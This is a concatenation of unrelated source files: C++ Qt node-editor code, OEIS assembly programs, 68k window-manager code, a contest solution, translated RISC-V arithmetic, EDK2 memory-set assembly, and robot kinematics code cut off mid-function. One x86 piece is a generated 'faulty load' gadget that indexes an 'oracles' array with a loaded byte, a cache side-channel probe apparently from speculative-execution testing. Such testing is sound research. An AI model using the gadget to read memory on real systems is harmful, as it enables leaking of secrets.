if (connected_parameter != nullptr) {
node->ainfo << "picked parameter " << connected_parameter->name() << " with UUID " << connected_parameter->getUUID() << std::endl;
std::string label = connected_parameter->name();
Input* i = node->createVariadicInput(makeEmpty<connection_types::AnyMessage>(), label, false);
UUID input = i->getUUID();
UUID output = UUIDProvider::makeDerivedUUID_forced(connected_parameter->getUUID().parentUUID(), std::string("out_") + connected_parameter->name());
if (!connected_parameter->isInteractive()) {
connected_parameter->setInteractive(true);
}
GraphFacade* facade = parent_->getGraphView()->getGraphFacade();
if (!facade->isConnected(input, output)) {
AUUID parent_uuid = facade->getAbsoluteUUID();
executeCommand(std::make_shared<command::AddConnection>(parent_uuid, output, input, false));
} else {
node->getNodeHandle()->setError("the selected parameter is already connected.");
}
} else {
node->getNodeHandle()->setWarning("No Parameter selected.");
}
} else {
node->getNodeHandle()->setWarning("The widget has no parameter property.");
}
} else {
node->getNodeHandle()->setWarning("No widget selected.");
}
}
QDialog* CreateMapMessageAdapter::makeTypeDialog()
{
QVBoxLayout* layout = new QVBoxLayout;
QFormLayout* form = new QFormLayout;
QComboBox* type = new QComboBox;
type->addItem("int");
type->addItem("double");
form->addRow("Type", type);
QObject::connect(type, SIGNAL(currentIndexChanged(QString)), this, SLOT(setNextParameterType(QString)));
next_type_ = type->currentText().toStdString();
layout->addLayout(form);
QDialogButtonBox* buttons = new QDialogButtonBox;
buttons->setStandardButtons(QDialogButtonBox::Ok | QDialogButtonBox::Cancel);
layout->addWidget(buttons);
QDialog* dialog = new QDialog;
dialog->setWindowTitle("Create Parameter");
dialog->setLayout(layout);
dialog->setModal(true);
QObject::connect(buttons, SIGNAL(accepted()), dialog, SLOT(accept()));
QObject::connect(buttons, SIGNAL(rejected()), dialog, SLOT(reject()));
return dialog;
}
void CreateMapMessageAdapter::setNextParameterType(const QString& type)
{
next_type_ = type.toStdString();
}
void CreateMapMessageAdapter::pickParameter()
{
auto designer = parent_->getGraphView()->designerScene();
if (designer) {
widget_picker_.startPicking(designer);
}
}
void CreateMapMessageAdapter::createParameter()
{
std::cerr << "parmeters currently unused" << std::endl;
auto node = wrapped_base_.lock();
if (!node) {
return;
}
QDialog* type_dialog = makeTypeDialog();
if (type_dialog->exec() == QDialog::Accepted) {
ParameterDialog diag(next_type_);
if (diag.exec() == QDialog::Accepted) {
csapex::param::Parameter::Ptr param = diag.getParameter();
node->addPersistentParameter(param);
parameterAdded(param);
node->reset();
}
}
}
void CreateMapMessageAdapter::removeParameters()
{
auto node = wrapped_base_.lock();
if (!node) {
return;
}
GraphFacade* facade = parent_->getGraphView()->getGraphFacade();
command::Meta::Ptr cmd(new command::Meta(facade->getAbsoluteUUID(), "remove parameter", true));
NodeHandle* nh = node->getNodeHandle();
CommandFactory factory(facade);
for (param::ParameterPtr p : node->getPersistentParameters()) {
if (OutputPtr out = nh->getParameterOutput(p->name()).lock()) {
cmd->add(factory.removeAllConnectionsCmd(out));
}
if (InputPtr in = nh->getParameterInput(p->name()).lock()) {
cmd->add(factory.removeAllConnectionsCmd(in));
}
}
executeCommand(cmd);
node->removePersistentParameters();
}
/// MOC
#include "moc_create_map_message_adapter.cpp"
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r9
push %rax
push %rsi
// Faulty Load
lea addresses_A+0x1a957, %rsi
nop
nop
and $24177, %r10
mov (%rsi), %r9d
lea oracles, %r10
and $0xff, %r9
shlq $12, %r9
mov (%r10,%r9,1), %r9
pop %rsi
pop %rax
pop %r9
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
; A004068: Number of atoms in a decahedron with n shells.
; 0,1,7,23,54,105,181,287,428,609,835,1111,1442,1833,2289,2815,3416,4097,4863,5719,6670,7721,8877,10143,11524,13025,14651,16407,18298,20329,22505,24831,27312,29953,32759,35735,38886,42217,45733,49439,53340,57441,61747,66263,70994,75945,81121,86527,92168,98049,104175,110551,117182,124073,131229,138655,146356,154337,162603,171159,180010,189161,198617,208383,218464,228865,239591,250647,262038,273769,285845,298271,311052,324193,337699,351575,365826,380457,395473,410879,426680,442881,459487,476503,493934,511785,530061,548767,567908,587489,607515,627991,648922,670313,692169,714495,737296,760577,784343,808599
mov $1,$0
pow $1,3
mul $1,5
add $0,$1
div $0,6
|
; Automatic pulldown window handling 1993 Jochen Merz V2.00
section utility
include dev8_keys_wman
include dev8_keys_wstatus
include dev8_keys_k
include dev8_keys_qdos_pt
include dev8_mac_xref
xdef ut_pulld_l ; pulldown window here
xdef ut_pullat_l ; pulldown window at given position
;+++
; This routine pulls down a window, wait until an error or event occurs
; and removes the pulldown window. If the window is not scaleable, d2 should
; be set to 0.
;
; Entry Exit
; d1.l memsize required for this layout ???
; d2.l size for layout (if scaleable) ???
; d3.b colourway ???
; d4.l DO or WAKE event returned
; a0 ???
; a1 window status area preserved
; a2 window manager vector preserved
; a3 menu to set up ???
; a4 modify routine after setup (or 0) ???
; a5 modify routine after draw (or 0) ???
;---
ut_pulld_l
moveq #-1,d4 ; position at pointer
; .. and fall into ..
;+++
; This routine pulls down a window, wait until an error or event occurs
; and removes the pulldown window. If the window is not scaleable, d2 should
; be set to 0.
;
; Entry Exit
; d1.l memsize required for this layout ???
; d2.l size for layout (if scaleable) ???
; d3.b colourway ???
; d4.l origin DO or WAKE event returned
; a0 ???
; a1 window status area preserved
; a2 window manager vector preserved
; a3 menu to set up ???
; a4 modify routine after setup (or 0) ???
; a5 modify routine after draw (or 0) ???
;---
ut_pullat_l
move.l a4,-(sp) ; keep routine
xjsr ut_setup_l
move.l (sp)+,a3
beq.s dummy0
xjmp gu_die
dummy0
move.l a3,d0 ; routine supplied?
beq.s pull_nsr
move.l a1,-(sp)
jsr (a3) ; call set item sub-routine
move.l (sp)+,a1
pull_nsr
move.b d3,d2 ; colourway given?
bmi.s pull_nocol
xjsr wu_scmwn ; change colour
pull_nocol
move.l d4,d1 ; this position
jsr wm.pulld(a2) ; position the window
bne gu_die
jsr wm.wdraw(a2) ; and draw its contents
bne gu_die
move.l a5,d0 ; routine supplied?
beq.s pull_ndr
jsr (a5) ; call pre-draw routine
pull_ndr
rptr_lp
jsr wm.rptr(a2)
bne.s rptr_ok ; error!
move.l wsp_evnt(a1),d1 ; get events
moveq #0,d4
btst #pt..can,d1 ; cancelled?
bne.s rptr_evnt ; yes, return event
moveq #pt..wake,d4
btst d4,d1 ; woken?
bne.s rptr_evnt ; yes, return event
moveq #pt..do,d4
btst d4,d1 ; DOne?
beq.s rptr_lp ; no, loop again
rptr_evnt
rptr_ok
xjsr ut_unset ; unset window
xjsr gu_fclos ; and close it
tst.l d0
rts
end
|
/**
* 11023. 더하기 3
*
* 작성자: xCrypt0r
* 언어: C++14
* 사용 메모리: 1,984 KB
* 소요 시간: 0 ms
* 해결 날짜: 2020년 8월 23일
*/
#include <iostream>
using namespace std;
int main()
{
ios_base::sync_with_stdio(false);
cin.tie(NULL);
int num, sum = 0;
while (cin >> num)
{
sum += num;
}
cout << sum;
}
|
.file "simple_math_more_types.c"
.section .tdata
REG_BANK:
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.text
.section .rodata
.align 3
.LC0:
.string "Signed Ops:"
.align 3
.LC1:
.string "Addition: %d\n"
.align 3
.LC2:
.string "Subtraction: %d\n"
.align 3
.LC3:
.string "Multiplication: %d\n"
.align 3
.LC4:
.string "Division: %d\n"
.align 3
.LC5:
.string "Modulus: %d\n"
.align 3
.LC6:
.string "More checks with the sign:"
.align 3
.LC7:
.string "Unsigned Ops:"
.align 3
.LC8:
.string "Testing long (64 bit) signed:"
.align 3
.LC9:
.string "Addition: %li\n"
.align 3
.LC10:
.string "Subtraction: %li\n"
.align 3
.LC11:
.string "Multiplication: %li\n"
.align 3
.LC12:
.string "Division: %li\n"
.align 3
.LC13:
.string "Modulus: %li\n"
.align 3
.LC14:
.string "Testing long (64 bit) unsigned:"
.align 3
.LC15:
.string "Addition: %lu\n"
.align 3
.LC16:
.string "Subtraction: %lu\n"
.align 3
.LC17:
.string "Multiplication: %lu\n"
.align 3
.LC18:
.string "Division: %lu\n"
.align 3
.LC19:
.string "Modulus: %lu\n"
.text
.align 2
.global main
.type main, %function
main:
la x21, REG_BANK
# stp x29, x30, [sp, -64]!
sd x8, -64(sp)
sd ra, -56(sp)
addi sp, sp, -64 # writeback
# add x29, sp, 0
addi x8, sp, 0
# mov w0, 99
li x10, 99
# str w0, [x29, 16]
sw x10, 16(x8)
# mov w0, 10
li x10, 10
# str w0, [x29, 20]
sw x10, 20(x8)
# adrp x0, .LC0
lui x10, %hi(.LC0)
# add x0, x0, :lo12:.LC0
add x10, x10, %lo(.LC0)
# bl puts
call puts
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# add w1, w1, w0
addw x11, x11, x10
# adrp x0, .LC1
lui x10, %hi(.LC1)
# add x0, x0, :lo12:.LC1
add x10, x10, %lo(.LC1)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# sub w1, w1, w0
subw x11, x11, x10
# adrp x0, .LC2
lui x10, %hi(.LC2)
# add x0, x0, :lo12:.LC2
add x10, x10, %lo(.LC2)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# mul w1, w1, w0
mulw x11, x11, x10
# adrp x0, .LC3
lui x10, %hi(.LC3)
# add x0, x0, :lo12:.LC3
add x10, x10, %lo(.LC3)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# sdiv w1, w1, w0
divw x11, x11, x10
# adrp x0, .LC4
lui x10, %hi(.LC4)
# add x0, x0, :lo12:.LC4
add x10, x10, %lo(.LC4)
# bl printf
call printf
# ldr w0, [x29, 16]
lw x10, 16(x8)
# ldr w1, [x29, 20]
lw x11, 20(x8)
# sdiv w2, w0, w1
divw x12, x10, x11
# ldr w1, [x29, 20]
lw x11, 20(x8)
# mul w1, w2, w1
mulw x11, x12, x11
# sub w1, w0, w1
subw x11, x10, x11
# adrp x0, .LC5
lui x10, %hi(.LC5)
# add x0, x0, :lo12:.LC5
add x10, x10, %lo(.LC5)
# bl printf
call printf
# ldr w0, [x29, 16]
lw x10, 16(x8)
# neg w0, w0
sub x10, x0, x10
# str w0, [x29, 16]
sw x10, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# neg w0, w0
sub x10, x0, x10
# str w0, [x29, 20]
sw x10, 20(x8)
# adrp x0, .LC6
lui x10, %hi(.LC6)
# add x0, x0, :lo12:.LC6
add x10, x10, %lo(.LC6)
# bl puts
call puts
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# add w1, w1, w0
addw x11, x11, x10
# adrp x0, .LC1
lui x10, %hi(.LC1)
# add x0, x0, :lo12:.LC1
add x10, x10, %lo(.LC1)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# sub w1, w1, w0
subw x11, x11, x10
# adrp x0, .LC2
lui x10, %hi(.LC2)
# add x0, x0, :lo12:.LC2
add x10, x10, %lo(.LC2)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# mul w1, w1, w0
mulw x11, x11, x10
# adrp x0, .LC3
lui x10, %hi(.LC3)
# add x0, x0, :lo12:.LC3
add x10, x10, %lo(.LC3)
# bl printf
call printf
# ldr w1, [x29, 16]
lw x11, 16(x8)
# ldr w0, [x29, 20]
lw x10, 20(x8)
# sdiv w1, w1, w0
divw x11, x11, x10
# adrp x0, .LC4
lui x10, %hi(.LC4)
# add x0, x0, :lo12:.LC4
add x10, x10, %lo(.LC4)
# bl printf
call printf
# ldr w0, [x29, 16]
lw x10, 16(x8)
# ldr w1, [x29, 20]
lw x11, 20(x8)
# sdiv w2, w0, w1
divw x12, x10, x11
# ldr w1, [x29, 20]
lw x11, 20(x8)
# mul w1, w2, w1
mulw x11, x12, x11
# sub w1, w0, w1
subw x11, x10, x11
# adrp x0, .LC5
lui x10, %hi(.LC5)
# add x0, x0, :lo12:.LC5
add x10, x10, %lo(.LC5)
# bl printf
call printf
# mov w0, 99
li x10, 99
# str w0, [x29, 24]
sw x10, 24(x8)
# mov w0, 10
li x10, 10
# str w0, [x29, 28]
sw x10, 28(x8)
# adrp x0, .LC7
lui x10, %hi(.LC7)
# add x0, x0, :lo12:.LC7
add x10, x10, %lo(.LC7)
# bl puts
call puts
# ldr w1, [x29, 24]
lw x11, 24(x8)
# ldr w0, [x29, 28]
lw x10, 28(x8)
# add w1, w1, w0
addw x11, x11, x10
# adrp x0, .LC1
lui x10, %hi(.LC1)
# add x0, x0, :lo12:.LC1
add x10, x10, %lo(.LC1)
# bl printf
call printf
# ldr w1, [x29, 24]
lw x11, 24(x8)
# ldr w0, [x29, 28]
lw x10, 28(x8)
# sub w1, w1, w0
subw x11, x11, x10
# adrp x0, .LC2
lui x10, %hi(.LC2)
# add x0, x0, :lo12:.LC2
add x10, x10, %lo(.LC2)
# bl printf
call printf
# ldr w1, [x29, 24]
lw x11, 24(x8)
# ldr w0, [x29, 28]
lw x10, 28(x8)
# mul w1, w1, w0
mulw x11, x11, x10
# adrp x0, .LC3
lui x10, %hi(.LC3)
# add x0, x0, :lo12:.LC3
add x10, x10, %lo(.LC3)
# bl printf
call printf
# ldr w1, [x29, 24]
lw x11, 24(x8)
# ldr w0, [x29, 28]
lw x10, 28(x8)
# udiv w1, w1, w0
divuw x11, x11, x10
# adrp x0, .LC4
lui x10, %hi(.LC4)
# add x0, x0, :lo12:.LC4
add x10, x10, %lo(.LC4)
# bl printf
call printf
# ldr w0, [x29, 24]
lw x10, 24(x8)
# ldr w1, [x29, 28]
lw x11, 28(x8)
# udiv w2, w0, w1
divuw x12, x10, x11
# ldr w1, [x29, 28]
lw x11, 28(x8)
# mul w1, w2, w1
mulw x11, x12, x11
# sub w1, w0, w1
subw x11, x10, x11
# adrp x0, .LC5
lui x10, %hi(.LC5)
# add x0, x0, :lo12:.LC5
add x10, x10, %lo(.LC5)
# bl printf
call printf
# mov x0, 1
li x10, 1
# str x0, [x29, 32]
sd x10, 32(x8)
# ldr x0, [x29, 32]
ld x10, 32(x8)
# lsl x0, x0, 35
slli x10, x10, 35
# str x0, [x29, 32]
sd x10, 32(x8)
# mov x0, 1
li x10, 1
# str x0, [x29, 40]
sd x10, 40(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# lsl x0, x0, 34
slli x10, x10, 34
# str x0, [x29, 40]
sd x10, 40(x8)
# adrp x0, .LC8
lui x10, %hi(.LC8)
# add x0, x0, :lo12:.LC8
add x10, x10, %lo(.LC8)
# bl puts
call puts
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# add x1, x1, x0
add x11, x11, x10
# adrp x0, .LC9
lui x10, %hi(.LC9)
# add x0, x0, :lo12:.LC9
add x10, x10, %lo(.LC9)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# sub x1, x1, x0
sub x11, x11, x10
# adrp x0, .LC10
lui x10, %hi(.LC10)
# add x0, x0, :lo12:.LC10
add x10, x10, %lo(.LC10)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# mul x1, x1, x0
mul x11, x11, x10
# adrp x0, .LC11
lui x10, %hi(.LC11)
# add x0, x0, :lo12:.LC11
add x10, x10, %lo(.LC11)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# sdiv x1, x1, x0
div x11, x11, x10
# adrp x0, .LC12
lui x10, %hi(.LC12)
# add x0, x0, :lo12:.LC12
add x10, x10, %lo(.LC12)
# bl printf
call printf
# ldr x0, [x29, 32]
ld x10, 32(x8)
# ldr x1, [x29, 40]
ld x11, 40(x8)
# sdiv x2, x0, x1
div x12, x10, x11
# ldr x1, [x29, 40]
ld x11, 40(x8)
# mul x1, x2, x1
mul x11, x12, x11
# sub x1, x0, x1
sub x11, x10, x11
# adrp x0, .LC13
lui x10, %hi(.LC13)
# add x0, x0, :lo12:.LC13
add x10, x10, %lo(.LC13)
# bl printf
call printf
# mov x0, 1
li x10, 1
# str x0, [x29, 48]
sd x10, 48(x8)
# ldr x0, [x29, 48]
ld x10, 48(x8)
# lsl x0, x0, 35
slli x10, x10, 35
# str x0, [x29, 48]
sd x10, 48(x8)
# mov x0, 1
li x10, 1
# str x0, [x29, 56]
sd x10, 56(x8)
# ldr x0, [x29, 56]
ld x10, 56(x8)
# lsl x0, x0, 34
slli x10, x10, 34
# str x0, [x29, 56]
sd x10, 56(x8)
# adrp x0, .LC14
lui x10, %hi(.LC14)
# add x0, x0, :lo12:.LC14
add x10, x10, %lo(.LC14)
# bl puts
call puts
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# add x1, x1, x0
add x11, x11, x10
# adrp x0, .LC15
lui x10, %hi(.LC15)
# add x0, x0, :lo12:.LC15
add x10, x10, %lo(.LC15)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# sub x1, x1, x0
sub x11, x11, x10
# adrp x0, .LC16
lui x10, %hi(.LC16)
# add x0, x0, :lo12:.LC16
add x10, x10, %lo(.LC16)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# mul x1, x1, x0
mul x11, x11, x10
# adrp x0, .LC17
lui x10, %hi(.LC17)
# add x0, x0, :lo12:.LC17
add x10, x10, %lo(.LC17)
# bl printf
call printf
# ldr x1, [x29, 32]
ld x11, 32(x8)
# ldr x0, [x29, 40]
ld x10, 40(x8)
# sdiv x1, x1, x0
div x11, x11, x10
# adrp x0, .LC18
lui x10, %hi(.LC18)
# add x0, x0, :lo12:.LC18
add x10, x10, %lo(.LC18)
# bl printf
call printf
# ldr x0, [x29, 32]
ld x10, 32(x8)
# ldr x1, [x29, 40]
ld x11, 40(x8)
# sdiv x2, x0, x1
div x12, x10, x11
# ldr x1, [x29, 40]
ld x11, 40(x8)
# mul x1, x2, x1
mul x11, x12, x11
# sub x1, x0, x1
sub x11, x10, x11
# adrp x0, .LC19
lui x10, %hi(.LC19)
# add x0, x0, :lo12:.LC19
add x10, x10, %lo(.LC19)
# bl printf
call printf
# mov w0, 0
li x10, 0
# ldp x29, x30, [sp], 64
ld x8, 0(sp)
ld ra, 8(sp)
addi sp, sp, 64 # writeback
# ret
ret
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 7.4.0-1ubuntu1~18.04.1) 7.4.0"
.section .note.GNU-stack,"",@progbits
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; SetMem64.nasm
;
; Abstract:
;
; SetMem64 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemSetMem64 (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT64 Value
; )
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemSetMem64)
ASM_PFX(InternalMemSetMem64):
mov eax, [esp + 4] ; eax <- Buffer
mov ecx, [esp + 8] ; ecx <- Count
test al, 8
mov edx, eax
movq xmm0, qword [esp + 12]
jz .0
movq qword [edx], xmm0
add edx, 8
dec ecx
.0:
shr ecx, 1
jz @SetQwords
movlhps xmm0, xmm0
.1:
movntdq [edx], xmm0
lea edx, [edx + 16]
loop .1
mfence
@SetQwords:
jnc .2
movq qword [edx], xmm0
.2:
ret
|
; A164136: a(n) = 11*n*(n+1).
; 0,22,66,132,220,330,462,616,792,990,1210,1452,1716,2002,2310,2640,2992,3366,3762,4180,4620,5082,5566,6072,6600,7150,7722,8316,8932,9570,10230,10912,11616,12342,13090,13860,14652,15466,16302,17160,18040,18942,19866,20812,21780,22770,23782,24816,25872,26950,28050,29172,30316,31482,32670,33880,35112,36366,37642,38940,40260,41602,42966,44352,45760,47190,48642,50116,51612,53130,54670,56232,57816,59422,61050,62700,64372,66066,67782,69520,71280,73062,74866,76692,78540,80410,82302,84216,86152,88110,90090,92092,94116,96162,98230,100320,102432,104566,106722,108900
sub $1,$0
bin $1,2
mul $1,22
mov $0,$1
|
/*
* MIT License
*
* Copyright (c) 2020 Jenna Reher (jreher@caltech.edu)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cassie_description/cassie_model.hpp>
#include "pinocchio/parsers/urdf.hpp"
#include "pinocchio/algorithm/joint-configuration.hpp"
#include "pinocchio/algorithm/kinematics.hpp"
#include "pinocchio/algorithm/aba.hpp"
#include "pinocchio/algorithm/aba-derivatives.hpp"
#include "pinocchio/algorithm/contact-dynamics.hpp"
#include "pinocchio/container/aligned-vector.hpp"
#include <ros/ros.h>
#include <ros/package.h>
#include <rbdl/addons/urdfreader/urdfreader.h>
#include <Eigen/Geometry>
#include <fstream>
using namespace RigidBodyDynamics;
using namespace Eigen;
namespace cassie_model {
void BodyPoint::initialize(Model *model, std::string point_name, std::string body_name, Eigen::Vector3d &point_position) {
this->body_name = body_name;
this->point_name = point_name;
this->point_position << point_position;
this->body_id = model->GetBodyId(body_name.c_str());
} // BodyPoint::initialize
Kinematics::Kinematics() {
this->cache.init();
}
void Kinematics::Cache::init() {
this->J_positionLeft.resize(3,22);
this->J_positionRight.resize(3,22);
this->J_leftLegLength.resize(1,7);
this->J_rightLegLength.resize(1,7);
this->J_poseLeft.resize(6,22);
this->J_poseRight.resize(6,22);
this->Jdot_poseLeft.resize(6,22);
this->Jdot_poseRight.resize(6,22);
this->J_poseLeftConstraint.resize(5,22);
this->J_poseRightConstraint.resize(5,22);
this->Jdot_poseLeftConstraint.resize(5,22);
this->Jdot_poseRightConstraint.resize(5,22);
this->J_achilles.resize(2,22);
this->J_rigid.resize(4,22);
this->Jdot_achilles.resize(2,22);
this->Jdot_rigid.resize(4,22);
}
void Kinematics::initialize(Model *model) {
Vector3d left_midfoot_body_frame_position = Vector3d(0,0,0);
this->LeftMidFoot_Point.initialize(model, "LeftMidFoot", "leftfoot_link", left_midfoot_body_frame_position);
Vector3d right_midfoot_body_frame_position = Vector3d(0,0,0);
this->RightMidFoot_Point.initialize(model, "RightMidFoot", "rightfoot_link", right_midfoot_body_frame_position);
Vector3d left_heelspringend_body_frame_position = Vector3d(0,0,0);
this->LeftHeel_Point.initialize(model, "LeftSpringEnd", "leftheelspring_link", left_heelspringend_body_frame_position);
Vector3d rightHeelspringend_body_frame_position = Vector3d(0,0,0);
this->RightHeel_Point.initialize(model, "RightSpringEnd", "rightheelspring_link", rightHeelspringend_body_frame_position);
} // Kinematics::initialize
void Kinematics::update(Model *model, const VectorXd &q, const VectorXd &dq) {
//RigidBodyDynamics::UpdateKinematicsCustom(*model, &q, &dq, nullptr);
this->cache.J_achilles.setZero();
SymFunction::J_achilles_constraint(this->cache.J_achilles, q);
this->cache.J_poseLeft.setZero();
SymFunction::J_leftSole_constraint(this->cache.J_poseLeftConstraint, q);
this->cache.J_poseRight.setZero();
SymFunction::J_rightSole_constraint(this->cache.J_poseRightConstraint, q);
this->cache.Jdot_achilles.setZero();
SymFunction::Jdot_achilles_constraint(this->cache.Jdot_achilles, q, dq);
this->cache.Jdot_poseLeft.setZero();
SymFunction::Jdot_leftSole_constraint(this->cache.Jdot_poseLeftConstraint, q, dq);
this->cache.Jdot_poseRight.setZero();
SymFunction::Jdot_rightSole_constraint(this->cache.Jdot_poseRightConstraint, q, dq);
MatrixXd temp_left(2,22), temp_right(2,22);
temp_left.setZero(); temp_right.setZero();
SymFunction::J_left_fixed_constraint(temp_left, q);
SymFunction::J_right_fixed_constraint(temp_right, q);
this->cache.J_rigid << temp_left, temp_right;
temp_left.setZero(); temp_right.setZero();
SymFunction::Jdot_left_fixed_constraint(temp_left, q, dq);
SymFunction::Jdot_right_fixed_constraint(temp_right, q, dq);
